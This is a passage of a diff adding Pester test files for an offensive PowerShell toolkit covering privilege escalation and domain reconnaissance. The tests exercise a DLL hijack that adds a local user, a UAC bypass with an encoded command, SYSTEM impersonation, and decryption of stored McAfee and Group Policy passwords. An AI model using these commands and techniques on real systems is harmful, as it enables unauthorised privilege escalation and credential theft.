/delete >$Null 2>&1) + } + } +} + +# TODO: Describe 'Restore-ServiceBinary' {} + +######################################################## +# +# PowerUp .dll hijacking functions. +# +######################################################## + +Describe 'Find-ProcessDLLHijack' { + It 'Should return results.' { + $Output = Find-ProcessDLLHijack + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept a Process name on the pipeline.' { + {'powershell' | Find-ProcessDLLHijack} | Should Not Throw + } + + It 'Should accept a service object on the pipeline.' { + {Get-Process powershell | Find-ProcessDLLHijack} | Should Not Throw + } +} + + +Describe 'Find-PathDLLHijack' { + + if (-not $(Test-IsAdmin)) { + Throw "'Find-PathDLLHijack' Pester test needs local administrator privileges." + } + + It 'Should find a hijackable %PATH% folder.' { + + New-Item -Path 'C:\PowerUpTest\' -ItemType directory -Force + + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' + + $Output = Find-PathDLLHijack | Where-Object {$_.ModifiablePath -like "*PowerUpTest*"} | Select-Object -First 1 + + $Env:PATH = $OldPath + + $Output.ModifiablePath | Should Be 'C:\PowerUpTest\' + + if ($Output.PSObject.Properties.Name -notcontains '%PATH%') { + Throw "Find-PathDLLHijack result doesn't contain '%PATH%' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." + } + + $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue + } + + It "Should find a hijackable %PATH% folder that doesn't yet exist." { + + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' + + $Output = Find-PathDLLHijack | Where-Object {$_.'%PATH%' -eq 'C:\PowerUpTest\'} | Select-Object -First 1 + + $Env:PATH = $OldPath + + $Output.ModifiablePath | Should Be 'C:\' + + if ($Output.PSObject.Properties.Name -notcontains '%PATH%') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." + } + } +} + + +Describe 'Write-HijackDll' { + # won't actually execute on Win8+ with the wlbsctrl.dll method + # TODO: write tests to properly cover parameter validation + It 'Should write a .dll that executes a custom command.' { + try { + Write-HijackDll -DllPath "$(Get-Location)\powerup.dll" -Command 'net user testing Password123! /add' + + "$(Get-Location)\powerup.dll" | Should Exist + "$(Get-Location)\debug.bat" | Should Exist + } + finally { + $Null = Remove-Item -Path "$(Get-Location)\powerup.dll" -Force -ErrorAction SilentlyContinue + $Null = Remove-Item -Path "$(Get-Location)\debug.bat" -Force -ErrorAction SilentlyContinue + } + } +} + + +######################################################## +# +# PowerUp registry checks. +# +######################################################## + +Describe 'Get-RegistryAlwaysInstallElevated' { + # TODO: set registry key, ensure it retrieves + It 'Should not throw.' { + {Get-RegistryAlwaysInstallElevated} | Should Not Throw + } +} + + +Describe 'Get-RegistryAutoLogon' { + # TODO: set a vulnerable autorun credential, ensure it retrieves + It 'Should not throw.' { + {Get-RegistryAutoLogon} | Should Not Throw + } +} + + +Describe 'Get-ModifiableRegistryAutoRun' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-ModifiableRegistryAutoRun' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-ModifiableRegistryAutoRun} | Should Not Throw + } + + It 'Should find a vulnerable autorun.' { + try { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" + + $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.ModifiableFile -like "*$FilePath*"} | Select-Object -First 1 + + $Output.ModifiableFile.ModifiablePath | Should Be $FilePath + + if ($Output.PSObject.Properties.Name -notcontains 'Key') { + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Key' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Path' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiableFile') { + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'ModifiableFile' field." + } + + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'ModifiablePath' field." + } + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." + } + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." + } + + $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } +} + + +######################################################## +# +# PowerUp misc. checks. +# +######################################################## + +Describe 'Get-ModifiableScheduledTaskFile' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-ModifiableScheduledTaskFile' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-ModifiableScheduledTaskFile} | Should Not Throw + } + + It 'Should find a vulnerable config file for a binary specified in a schtask.' { + try { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f + + $Output = Get-ModifiableScheduledTaskFile | Where-Object {$_.TaskName -eq 'PowerUp'} | Select-Object -First 1 + $Null = schtasks.exe /delete /tn PowerUp /f + + $Output.TaskFilePath.ModifiablePath | Should Be $FilePath + + if ($Output.PSObject.Properties.Name -notcontains 'TaskName') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskName' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'TaskFilePath') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskFilePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'TaskTrigger') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskTrigger' field." + } + + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'ModifiablePath' field." + } + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Permissions' field." + } + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'IdentityReference' field." + } + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } +} + + +Describe 'Get-UnattendedInstallFile' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-UnattendedInstallFile' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-UnattendedInstallFile} | Should Not Throw + } + It 'Should return a leftover autorun' { + $FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml" + + try { + $Null | Out-File -FilePath $FilePath -Force + $Output = Get-UnattendedInstallFile + + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } +} + + +Describe 'Get-Webconfig' { + It 'Should not throw.' { + {Get-Webconfig} | Should Not Throw + } +} + + +Describe 'Get-ApplicationHost' { + It 'Should not throw.' { + {Get-ApplicationHost} | Should Not Throw + } +} + +Describe 'Get-SiteListPassword' { + BeforeEach { + $Xml = 'Products/CommonUpdater0jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==Repository$0companydomainMcAfeeServicePassword123!Repository$0companydomainMcAfeeServicejWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $Xml | Out-File -FilePath "${Home}\SiteList.xml" -Force + } + AfterEach { + Remove-Item -Force "${Home}\SiteList.xml" + } + + It 'Should correctly find and parse a SiteList.xml file.' { + + $Credentials = Get-SiteListPassword + + $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object { + # HTTP site + $_.Enabled | Should Be '1' + $_.Server | Should Be 'update.nai.com:80' + $_.Path | Should Be 'Products/CommonUpdater' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should BeNullOrEmpty + $_.DomainName | Should BeNullOrEmpty + } + + $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { + # UNC site with unencrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'paris001' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'Password123!' + $_.DecPassword | Should Be 'Password123!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + + $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object { + # UNC site with encrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'tokyo000' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + } + + It 'Should correctly parse a SiteList.xml on a specified path.' { + + $Credentials = Get-SiteListPassword -Path "${Home}\SiteList.xml" + + $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object { + # HTTP site + $_.Enabled | Should Be '1' + $_.Server | Should Be 'update.nai.com:80' + $_.Path | Should Be 'Products/CommonUpdater' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should BeNullOrEmpty + $_.DomainName | Should BeNullOrEmpty + } + + $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { + # UNC site with unencrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'paris001' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'Password123!' + $_.DecPassword | Should Be 'Password123!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + + $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object { + # UNC site with encrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'tokyo000' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + } +} + + +Describe 'Get-CachedGPPPassword' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-CachedGPPPassword' Pester test needs local administrator privileges." + } + + # all referenced GPP .xml sources from https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/rex/parser/group_policy_preferences_spec.rb + It 'Should throw if no files are found.' { + Get-CachedGPPPassword | Should Throw + } + + It 'Should correctly find and parse a cached Groups.xml file.' { + $Path = "${Env:ALLUSERSPROFILE}\Microsoft\Group Policy\History\{23C4E89F-7D3A-4237-A61D-8EF82B5B9E42}\Machine\Preferences\Groups\Groups.xml" + $Null = New-Item -ItemType File -Path $Path -Force + $GroupsXml = '' + $GroupsXml | Out-File -FilePath $Path -Force + + $GPPResult = Get-CachedGPPPassword + Remove-Item -Force $Path + + $GPPResult.Passwords[0] | Should be 'Super!!!Password' + $GPPResult.UserNames[0] | Should be 'SuperSecretBackdoor' + } +} + +# TODO: Describe 'Write-UserAddMSI' {} + +Describe 'Invoke-WScriptUACBypass' { + $OSVersion = [Environment]::OSVersion.Version + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) { + It 'Should launch an elevated command.' { + Invoke-WScriptUACBypass -Command 'powershell -enc JwAxADIAMwAnACAAfAAgAE8AdQB0AC0ARgBpAGwAZQAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAcwBrAGEAZABqAGYAbgAuAHQAeAB0ACIA' + if (-not (Test-Path -Path "C:\Windows\System32\skadjfn.txt")) { + Throw "'Invoke-WScriptUACBypass' did not write a privileged file." + } + {Test-Path -Path "C:\Windows\System32\skadjfn.txt"} | Should Not Throw + Remove-Item -Path "C:\Windows\System32\skadjfn.txt" -Force + } + + It "Should accept -WindowStyle 'Visible'" { + Invoke-WScriptUACBypass -Command notepad.exe -WindowStyle 'Visible' + $Process = Get-Process 'notepad' + $Process | Should Not BeNullOrEmpty + $Process | Stop-Process -Force + } + } + else { + Write-Warning 'Target machine is not vulnerable to Invoke-WScriptUACBypass.' + } +} + +Describe 'Invoke-PrivescAudit' { + It 'Should return results to stdout.' { + $Output = Invoke-PrivescAudit + $Output | Should Not BeNullOrEmpty + } + It 'Should produce a HTML report with -HTMLReport.' { + $Output = Invoke-PrivescAudit -HTMLReport + $Output | Should Not BeNullOrEmpty + + $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + + $HtmlReportFile | Should Exist + $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue + } +} + + +Describe 'Get-System' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-System' Pester test needs local administrator privileges." + } + + AfterEach { + Get-System -RevToSelf + } + + It 'Should not throw with default parameters and should elevate to SYSTEM.' { + { Get-System } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It 'Named pipe impersonation should accept an alternate service and pipe name.' { + { Get-System -Technique NamedPipe -ServiceName 'testing123' -PipeName 'testpipe' } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It 'Should elevate to SYSTEM using token impersonation.' { + { Get-System -Technique Token } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It '-WhoAmI should display the current user.' { + { Get-System -Technique Token } | Should Not Throw + { Get-System -WhoAmI } | Should Match 'SYSTEM' + } + + It 'RevToSelf should revert privileges.' { + { Get-System -Technique Token } | Should Not Throw + { Get-System -RevToSelf } | Should Not Throw + "$([Environment]::UserName)" | Should Not Match 'SYSTEM' + } + + It 'Token impersonation should throw with incompatible parameters.' { + { Get-System -Technique Token -WhoAmI } | Should Throw + } +} diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 new file mode 100644 index 00000000..a297ed96 --- /dev/null +++ b/Tests/Recon.tests.ps1 @@ -0,0 +1,583 @@ + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\Recon\Recon.psd1" + +Remove-Module [R]econ +Import-Module $ModuleManifest -Force -ErrorAction Stop + +# import PowerView.ps1 manually so we expose the helper functions for testing +$PowerViewFile = "$ModuleRoot\Recon\PowerView.ps1" +Import-Module $PowerViewFile -Force -ErrorAction Stop + + +# Get the local IP address for later testing +$IPregex = "(?
((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" +$LocalIP = (gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -match $IPregex}).ipaddress[0] + + +######################################################## +# +# PowerView functions. +# +######################################################## + +Describe 'Export-PowerViewCSV' { + It 'Should Not Throw and should produce .csv output.' { + {Get-Process | Export-PowerViewCSV -OutFile process_test.csv} | Should Not Throw + '.\process_test.csv' | Should Exist + Remove-Item -Force .\process_test.csv + } +} + +Describe 'Get-IPAddress' { + $IPregex = "(?
((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" + It 'Should return local IP address' { + if( $(Get-IPAddress) -notmatch $IPRegex ) { + Throw 'Invalid local IP address returned' + } + } + It 'Should accept -ComputerName argument' { + if( $(Get-IPAddress -ComputerName $env:COMPUTERNAME) -notmatch $IPRegex ) { + Throw 'Invalid -ComputerName IP address returned' + } + } +} + +Describe 'Convert-SidToName' { + It 'Should resolve built in SIDs' { + Convert-SidToName -SID 'S-1-5-32-545' | Should Be 'BUILTIN\Users' + } + It 'Should accept pipeline input' { + 'S-1-5-32-552' | Convert-SidToName | Should Be 'BUILTIN\Replicators' + } + It 'Should return a unresolvable SID' { + Convert-SidToName -SID 'S-1-5-32-1337' | Should Be 'S-1-5-32-1337' + } +} + + +Describe 'Get-Proxy' { + It 'Should Not Throw' { + {Get-Proxy} | Should Not Throw + } + It 'Should accept -ComputerName argument' { + {Get-Proxy -ComputerName $env:COMPUTERNAME} | Should Not Throw + } +} + + +Describe 'Get-PathAcl' { + It 'Should Not Throw' { + {Get-PathAcl C:\} | Should Not Throw + } + It 'Should return correct ACLs' { + $Output = Get-PathAcl -Path C:\Windows | ?{$_.IdentityReference -eq "Creator Owner"} + if(-not $Output) { + Throw "Output Not returned" + } + if($Output.FileSystemRights -ne 'GenericAll') { + Throw "Incorrect FileSystemRights returned" + } + } +} + + +Describe 'Get-NameField' { + It 'Should extract dnshostname field from custom object' { + $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing1'} + if ( (Get-NameField -Object $Object) -ne 'testing1') { + Throw "'dnshostname' field Not parsed correctly" + } + } + It 'Should extract name field from custom object' { + $Object = New-Object -TypeName PSObject -Property @{'name' = 'testing2'} + if ( (Get-NameField -Object $Object) -ne 'testing2') { + Throw "'name' field Not parsed correctly" + } + } + It 'Should handle plaintext strings' { + if ( (Get-NameField -Object 'testing3') -ne 'testing3') { + Throw 'Plaintext string Not parsed correctly' + } + } + It 'Should accept pipeline input' { + $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing4'} + if ( ($Object | Get-NameField) -ne 'testing4') { + Throw 'Pipeline input Not processed correctly' + } + } +} + + +Describe "Get-NetLocalGroup" { + It "Should return results for local machine administrators" { + if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should return results for listing local groups" { + if ( (Get-NetLocalGroup -ListGroups | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + # TODO: -ComputerList + It "Should accept -GroupName argument" { + {Get-NetLocalGroup -GroupName "Remote Desktop Users"} | Should Not Throw + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetLocalGroup -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetLocalGroup -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept pipeline input" { + if ( ( "$env:computername" | Get-NetLocalGroup | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } +} + + +Describe "Get-NetShare" { + It "Should return results for the local host" { + if ( (Get-NetShare | Measure-Object).count -lt 1) { + Throw "Incorrect share results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetShare -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetShare -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect share results returned" + } + } + It "Should accept pipeline input" { + if ( ( "$env:computername" | Get-NetShare | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } +} + + +Describe "Get-NetLoggedon" { + It "Should return results for the local host" { + if ( (Get-NetLoggedon | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetLoggedon -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetLoggedon -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept pipeline input" { + if ( ( "$env:computername" | Get-NetLoggedon | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } +} + + +Describe "Get-NetSession" { + It "Should return results for the local host" { + if ( (Get-NetSession | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetSession -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept the -UserName argument" { + {Get-NetSession -UserName 'Administrator'} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername" | Get-NetSession} | Should Not Throw + } +} + + +Describe "Get-NetRDPSession" { + It "Should return results for the local host" { + if ( (Get-NetRDPSession | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetRDPSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetRDPSession -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept pipeline input" { + {"$env:computername" | Get-NetRDPSession} | Should Not Throw + } +} + + +Describe "Invoke-CheckLocalAdminAccess" { + It "Should Not Throw for localhost" { + {Invoke-CheckLocalAdminAccess} | Should Not Throw + } + It "Should accept NETBIOS -ComputerName argument" { + {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept IP -ComputerName argument" { + {Invoke-CheckLocalAdminAccess -ComputerName $LocalIP} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername" | Invoke-CheckLocalAdminAccess} | Should Not Throw + } +} + + +Describe "Get-LastLoggedOn" { + It "Should return results for the local host" { + if ( (Get-LastLoggedOn | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-LastLoggedOn -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-LastLoggedOn -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept pipeline input" { + {"$env:computername" | Get-LastLoggedOn} | Should Not Throw + } +} + + +Describe "Get-CachedRDPConnection" { + It "Should Not Throw" { + {Get-CachedRDPConnection} | Should Not Throw + } + It "Should accept NETBIOS -ComputerName argument" { + {Get-CachedRDPConnection -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept IP -ComputerName argument" { + {Get-CachedRDPConnection -ComputerName $LocalIP} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername" | Get-CachedRDPConnection} | Should Not Throw + } +} + + +Describe "Get-NetProcess" { + It "Should return results for the local host" { + if ( (Get-NetProcess | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetProcess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetProcess -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + # TODO: RemoteUserName/RemotePassword + It "Should accept pipeline input" { + {"$env:computername" | Get-NetProcess} | Should Not Throw + } +} + + +Describe "Find-InterestingFile" { + #TODO: implement +} + + +Describe "Invoke-UserHunter" { + It "Should accept -ComputerName argument" { + if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -NoPing flag" { + if ( (Invoke-UserHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-StealthUserHunter" { + # simple test of the splatting + It "Should accept splatting for Invoke-UserHunter" { + {Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername"} | Should Not Throw + } +} + + +Describe "Invoke-ProcessHunter" { + It "Should accept -ComputerName and -UserName arguments" { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -ProcessName argument" { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -ProcessName powershell | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -UserFile argument" { + "$env:USERNAME" | Out-File -Encoding ASCII target_users.txt + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\target_users.txt" + } + It "Should accept -NoPing flag" { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-ShareFinder" { + It "Should accept -ComputerName argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -ExcludeStandard argument" { + {Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeStandard} | Should Not Throw + } + It "Should accept -ExcludePrint argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludePrint | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -ExcludeIPC argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeIPC | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -CheckShareAccess argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckShareAccess | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -CheckAdmin argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckAdmin | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -NoPing argument" { + if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-FileFinder" { + It "Should accept -ComputerName argument" { + {Invoke-FileFinder -ComputerName "$env:computername"} | Should Not Throw + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + {Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + try { + It "Should accept -ShareList argument" { + "\\$($env:computername)\\IPC$" | Out-File -Encoding ASCII shares.txt + {Invoke-FileFinder -ShareList ".\shares.txt"} | Should Not Throw + } + } + finally { + Remove-Item -Force ".\shares.txt" + } + It "Should accept -Terms argument" { + {Invoke-FileFinder -Terms 